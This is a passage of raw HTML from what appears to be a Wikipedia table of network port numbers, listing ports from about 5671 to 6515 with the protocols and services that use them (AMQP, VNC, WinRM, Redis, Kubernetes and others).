class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/w/index.php?title=FILEMQ&amp;action=edit&amp;redlink=1\" class=\"new\" title=\"FILEMQ (page does not exist)\">FILEMQ</a> ZeroMQ File Message Queuing Protocol\n</td></tr>\n<tr>\n<td></td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/w/index.php?title=ZRE-DISC&amp;action=edit&amp;redlink=1\" class=\"new\" title=\"ZRE-DISC (page does not exist)\">ZRE-DISC</a> ZeroMQ Realtime Exchange Protocol (Discovery)\n</td></tr>\n<tr>\n<td>5671</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Advanced_Message_Queuing_Protocol\" title=\"Advanced Message Queuing Protocol\">Advanced Message Queuing Protocol</a> (AMQP)<sup id=\"cite_ref-ampq_253-0\" class=\"reference\"><a href=\"#cite_note-ampq-253\">&#91;251&#93;</a></sup> over <a href=\"/wiki/Transport_Layer_Security\" title=\"Transport Layer Security\">TLS</a>\n</td></tr>\n<tr>\n<td>5672</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td>\n</td>\n<td>Advanced Message Queuing Protocol (AMQP)<sup id=\"cite_ref-ampq_253-1\" class=\"reference\"><a href=\"#cite_note-ampq-253\">&#91;251&#93;</a></sup>\n</td></tr>\n<tr>\n<td>5683</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Constrained_Application_Protocol\" title=\"Constrained Application Protocol\">Constrained Application Protocol</a> (CoAP)\n</td></tr>\n<tr>\n<td>5684</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Constrained Application Protocol Secure (CoAPs)\n</td></tr>\n<tr>\n<td>5693</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Nagios\" title=\"Nagios\">Nagios</a> Cross Platform Agent (NCPA)<sup id=\"cite_ref-254\" class=\"reference\"><a href=\"#cite_note-254\">&#91;252&#93;</a></sup>\n</td></tr>\n<tr>\n<td>5701</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Hazelcast\" title=\"Hazelcast\">Hazelcast</a> default communication port<sup id=\"cite_ref-255\" class=\"reference\"><a href=\"#cite_note-255\">&#91;253&#93;</a></sup>\n</td></tr>\n<tr>\n<td>5718</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Microsoft DPM Data Channel (with the agent coordinator)\n</td></tr>\n<tr>\n<td>5719</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Microsoft DPM Data Channel (with the protection agent)\n</td></tr>\n<tr>\n<td>5722</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Microsoft RPC, DFSR (SYSVOL) Replication Service<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (June 2017)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>5723</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/System_Center_Operations_Manager\" title=\"System Center Operations Manager\">System Center Operations Manager</a><sup id=\"cite_ref-256\" class=\"reference\"><a href=\"#cite_note-256\">&#91;254&#93;</a></sup>\n</td></tr>\n<tr>\n<td>5724</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Operations Manager Console\n</td></tr>\n<tr>\n<td>5741</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>IDA Discover Port 1\n</td></tr>\n<tr>\n<td>5742</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>IDA Discover Port 2\n</td></tr>\n<tr>\n<td rowspan=\"2\">5800\n</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Virtual_Network_Computing\" title=\"Virtual Network Computing\">VNC</a> Remote Frame Buffer <a href=\"/wiki/RFB_protocol\" title=\"RFB protocol\">RFB protocol</a> over <a href=\"/wiki/HTTP\" class=\"mw-redirect\" title=\"HTTP\">HTTP</a>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/ProjectWise\" title=\"ProjectWise\">ProjectWise Server</a><sup id=\"cite_ref-257\" class=\"reference\"><a href=\"#cite_note-257\">&#91;255&#93;</a></sup>\n</td></tr>\n<tr>\n<td rowspan=\"2\">5900\n</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/RFB_protocol\" title=\"RFB protocol\">Remote Frame Buffer protocol</a> (RFB)\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Virtual_Network_Computing\" title=\"Virtual Network Computing\">Virtual Network Computing</a> (VNC) Remote Frame Buffer <a href=\"/wiki/RFB_protocol\" title=\"RFB protocol\">RFB protocol</a><sup id=\"cite_ref-apple-kb-HT202944_11-67\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup><sup id=\"cite_ref-258\" class=\"reference\"><a href=\"#cite_note-258\">&#91;256&#93;</a></sup>\n</td></tr>\n<tr>\n<td>5905</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Windows service \"C:\\Program Files\\Intel\\Intel(R) Online Connect Access\\IntelTechnologyAccessService.exe\" that listens on 127.0.0.1\n</td></tr>\n<tr>\n<td>5931</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/AMMYY\" class=\"mw-redirect\" title=\"AMMYY\">AMMYY</a> admin Remote Control\n</td></tr>\n<tr>\n<td>5938</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/TeamViewer\" title=\"TeamViewer\">TeamViewer</a> remote desktop protocol<sup id=\"cite_ref-259\" class=\"reference\"><a href=\"#cite_note-259\">&#91;257&#93;</a></sup>\n</td></tr>\n<tr>\n<td>5984</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/CouchDB\" class=\"mw-redirect\" title=\"CouchDB\">CouchDB</a> database server\n</td></tr>\n<tr>\n<td>5985</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Windows_PowerShell\" class=\"mw-redirect\" title=\"Windows PowerShell\">Windows PowerShell</a> Default psSession Port<sup id=\"cite_ref-Enter-PSSession_260-0\" class=\"reference\"><a href=\"#cite_note-Enter-PSSession-260\">&#91;258&#93;</a></sup> <a href=\"/wiki/WS-Management\" title=\"WS-Management\">Windows Remote Management Service</a> (WinRM-HTTP)<sup id=\"cite_ref-microsoft1_261-0\" class=\"reference\"><a href=\"#cite_note-microsoft1-261\">&#91;259&#93;</a></sup>\n</td></tr>\n<tr>\n<td>5986</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Windows PowerShell Default psSession Port<sup id=\"cite_ref-Enter-PSSession_260-1\" class=\"reference\"><a href=\"#cite_note-Enter-PSSession-260\">&#91;258&#93;</a></sup> <a href=\"/wiki/WS-Management\" title=\"WS-Management\">Windows Remote Management Service</a> (WinRM-HTTPS)<sup id=\"cite_ref-microsoft1_261-1\" class=\"reference\"><a href=\"#cite_note-microsoft1-261\">&#91;259&#93;</a></sup>\n</td></tr>\n<tr>\n<td>5988–5989</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Common_Information_Model_(computing)\" title=\"Common Information Model (computing)\">CIM</a>-XML (DMTF Protocol)<sup id=\"cite_ref-262\" class=\"reference\"><a href=\"#cite_note-262\">&#91;260&#93;</a></sup>\n</td></tr>\n<tr>\n<td>6000–6063</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/X_Window_System\" title=\"X Window System\">X11</a>—used between an X client and server over the network\n</td></tr>\n<tr>\n<td rowspan=\"2\">6005\n</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Default for <a href=\"/wiki/BMC_Software\" title=\"BMC Software\">BMC Software</a> <a href=\"/wiki/BMC_Control-M\" class=\"mw-redirect\" title=\"BMC Control-M\">Control-M/Server</a>—Socket used for communication between Control-M processes—though often changed during installation\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Default for <a href=\"/wiki/Camfrog\" title=\"Camfrog\">Camfrog</a> chat &amp; cam client\n</td></tr>\n<tr>\n<td>6009</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/JD_Edwards_EnterpriseOne\" class=\"mw-redirect\" title=\"JD Edwards EnterpriseOne\">JD Edwards EnterpriseOne</a> ERP system JDENet messaging client listener\n</td></tr>\n<tr>\n<td>6050</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Arcserve\" title=\"Arcserve\">Arcserve</a> backup\n</td></tr>\n<tr>\n<td>6051</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Arcserve backup\n</td></tr>\n<tr>\n<td>6086</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Peer_Distributed_Transfer_Protocol\" title=\"Peer Distributed Transfer Protocol\">Peer Distributed Transfer Protocol</a> (PDTP), FTP like file server in a P2P network\n</td></tr>\n<tr>\n<td rowspan=\"2\">6100\n</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Vizrt\" title=\"Vizrt\">Vizrt</a> System\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Ventrilo\" title=\"Ventrilo\">Ventrilo</a> authentication for version 3\n</td></tr>\n<tr>\n<td>6101</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Backup Exec Agent Browser<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (March 2012)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>6110</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>softcm, <a href=\"/wiki/Hewlett-Packard\" title=\"Hewlett-Packard\">HP</a> <a href=\"/wiki/Softbench\" title=\"Softbench\">Softbench</a> CM\n</td></tr>\n<tr>\n<td>6111</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>spc, <a href=\"/wiki/Hewlett-Packard\" title=\"Hewlett-Packard\">HP</a> <a href=\"/wiki/Softbench\" title=\"Softbench\">Softbench</a> Sub-Process Control\n</td></tr>\n<tr>\n<td rowspan=\"3\">6112\n</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>dtspcd, execute commands and launch applications remotely\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Blizzard_Entertainment\" title=\"Blizzard Entertainment\">Blizzard</a>'s <a href=\"/wiki/Battle.net\" title=\"Battle.net\">Battle.net</a> gaming service and some games,<sup id=\"cite_ref-blizzard_126-2\" class=\"reference\"><a href=\"#cite_note-blizzard-126\">&#91;124&#93;</a></sup> <a href=\"/wiki/ArenaNet\" title=\"ArenaNet\">ArenaNet</a> gaming service, <a href=\"/wiki/Relic_Entertainment\" title=\"Relic Entertainment\">Relic</a> gaming service\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Club_Penguin\" title=\"Club Penguin\">Club Penguin</a> Disney online game for kids\n</td></tr>\n<tr>\n<td>6113</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Club_Penguin\" title=\"Club Penguin\">Club Penguin</a> Disney online game for kids, Used by some <a href=\"/wiki/Blizzard_Entertainment\" title=\"Blizzard Entertainment\">Blizzard</a> games<sup id=\"cite_ref-blizzard_126-3\" class=\"reference\"><a href=\"#cite_note-blizzard-126\">&#91;124&#93;</a></sup>\n</td></tr>\n<tr>\n<td>6136</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/ObjectDB\" title=\"ObjectDB\">ObjectDB</a> database server<sup id=\"cite_ref-objectdb-jpa-setting-server_263-0\" class=\"reference\"><a href=\"#cite_note-objectdb-jpa-setting-server-263\">&#91;261&#93;</a></sup>\n</td></tr>\n<tr>\n<td>6159</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/ARINC\" title=\"ARINC\">ARINC</a> 840 <a href=\"/wiki/Electronic_flight_bag\" title=\"Electronic flight bag\">EFB</a> Application Control Interface\n</td></tr>\n<tr>\n<td>6160</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Veeam\" title=\"Veeam\">Veeam</a> Installer Service\n</td></tr>\n<tr>\n<td>6161</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Veeam\" title=\"Veeam\">Veeam</a> vPower NFS Service\n</td></tr>\n<tr>\n<td>6162</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Veeam\" title=\"Veeam\">Veeam</a> Data Mover\n</td></tr>\n<tr>\n<td>6163</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Veeam\" title=\"Veeam\">Veeam</a> Hyper-V Integration Service\n</td></tr>\n<tr>\n<td>6164</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Veeam\" title=\"Veeam\">Veeam</a> WAN Accelerator\n</td></tr>\n<tr>\n<td>6165</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Veeam\" title=\"Veeam\">Veeam</a> WAN Accelerator Data Transfer\n</td></tr>\n<tr>\n<td>6167</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Veeam\" title=\"Veeam\">Veeam</a> Log Shipping Service\n</td></tr>\n<tr>\n<td>6170</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Veeam\" title=\"Veeam\">Veeam</a> Mount Server\n</td></tr>\n<tr>\n<td>6200</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Oracle_WebCenter\" title=\"Oracle WebCenter\">Oracle WebCenter</a> Content Portable: Content Server (With Native UI) and Inbound Refinery\n</td></tr>\n<tr>\n<td rowspan=\"2\">6201\n</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>Thermo-Calc Software AB: Management of service nodes in a processing grid for thermodynamic calculations\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Oracle WebCenter Content Portable: Admin\n</td></tr>\n<tr>\n<td>6225</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Oracle WebCenter Content Portable: Content Server Web UI\n</td></tr>\n<tr>\n<td>6227</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Oracle WebCenter Content Portable: JavaDB\n</td></tr>\n<tr>\n<td>6240</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Oracle WebCenter Content Portable: Capture\n</td></tr>\n<tr>\n<td>6244</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Oracle WebCenter Content Portable: Content Server—Intradoc Socket port\n</td></tr>\n<tr>\n<td>6255</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Oracle WebCenter Content Portable: Inbound Refinery—Intradoc Socket port\n</td></tr>\n<tr>\n<td>6257</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/WinMX\" title=\"WinMX\">WinMX</a> (see also 6699)\n</td></tr>\n<tr>\n<td>6260</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>planet M.U.L.E.\n</td></tr>\n<tr>\n<td>6262</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Sybase <a href=\"/wiki/Advantage_Database_Server\" class=\"mw-redirect\" title=\"Advantage Database Server\">Advantage Database Server</a>\n</td></tr>\n<tr>\n<td>6343</td>\n<td></td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/SFlow\" title=\"SFlow\">SFlow</a>, sFlow traffic monitoring\n</td></tr>\n<tr>\n<td>6346</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Gnutella\" title=\"Gnutella\">gnutella-svc</a>, gnutella (<a href=\"/wiki/FrostWire\" title=\"FrostWire\">FrostWire</a>, <a href=\"/wiki/Limewire\" class=\"mw-redirect\" title=\"Limewire\">Limewire</a>, <a href=\"/wiki/Shareaza\" title=\"Shareaza\">Shareaza</a>, etc.)\n</td></tr>\n<tr>\n<td>6347</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>gnutella-rtr, Gnutella alternate\n</td></tr>\n<tr>\n<td>6350</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>App Discovery and Access Protocol\n</td></tr>\n<tr>\n<td>6379</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Redis\" title=\"Redis\">Redis</a> key-value data store\n</td></tr>\n<tr>\n<td>6389</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/EMC_Corporation\" class=\"mw-redirect\" title=\"EMC Corporation\">EMC</a> <a href=\"/wiki/CLARiiON\" class=\"mw-redirect\" title=\"CLARiiON\">CLARiiON</a>\n</td></tr>\n<tr>\n<td>6432</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>PgBouncer—A connection pooler for PostgreSQL\n</td></tr>\n<tr>\n<td>6436</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Leap_Motion\" title=\"Leap Motion\">Leap Motion</a> Websocket Server TLS\n</td></tr>\n<tr>\n<td>6437</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Leap Motion Websocket Server\n</td></tr>\n<tr>\n<td>6443</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes\n</td>\n<td>\n</td>\n<td>\n</td>\n<td>\n</td>\n<td><a href=\"/wiki/Kubernetes\" title=\"Kubernetes\">Kubernetes</a> API server <sup id=\"cite_ref-264\" class=\"reference\"><a href=\"#cite_note-264\">&#91;262&#93;</a></sup>\n</td></tr>\n<tr>\n<td>6444</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Sun_Grid_Engine\" class=\"mw-redirect\" title=\"Sun Grid Engine\">Sun Grid Engine</a> Qmaster Service\n</td></tr>\n<tr>\n<td>6445</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Sun Grid Engine Execution Service\n</td></tr>\n<tr>\n<td>6454</td>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Art-Net\" title=\"Art-Net\">Art-Net</a> protocol\n</td></tr>\n<tr>\n<td>6463–6472</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Discord_(software)\" class=\"mw-redirect\" title=\"Discord (software)\">Discord</a> RPC<sup id=\"cite_ref-265\" class=\"reference\"><a href=\"#cite_note-265\">&#91;263&#93;</a></sup>\n</td></tr>\n<tr>\n<td>6464</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Port assignment for medical device communication in accordance to <a href=\"/wiki/ISO/IEEE_11073\" title=\"ISO/IEEE 11073\">IEEE 11073-20701</a>\n</td></tr>\n<tr>\n<td>6513</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/NETCONF\" title=\"NETCONF\">NETCONF</a> over <a href=\"/wiki/Transport_Layer_Security\" title=\"Transport Layer Security\">TLS</a>\n</td></tr>\n<tr>\n<td>6514</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Syslog over TLS<sup id=\"cite_ref-266\" class=\"reference\"><a href=\"#cite_note-266\">&#91;264&#93;</a></sup>\n</td></tr>\n<tr>\n<td>6515</td>\n<td colspan=\"2\" style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a 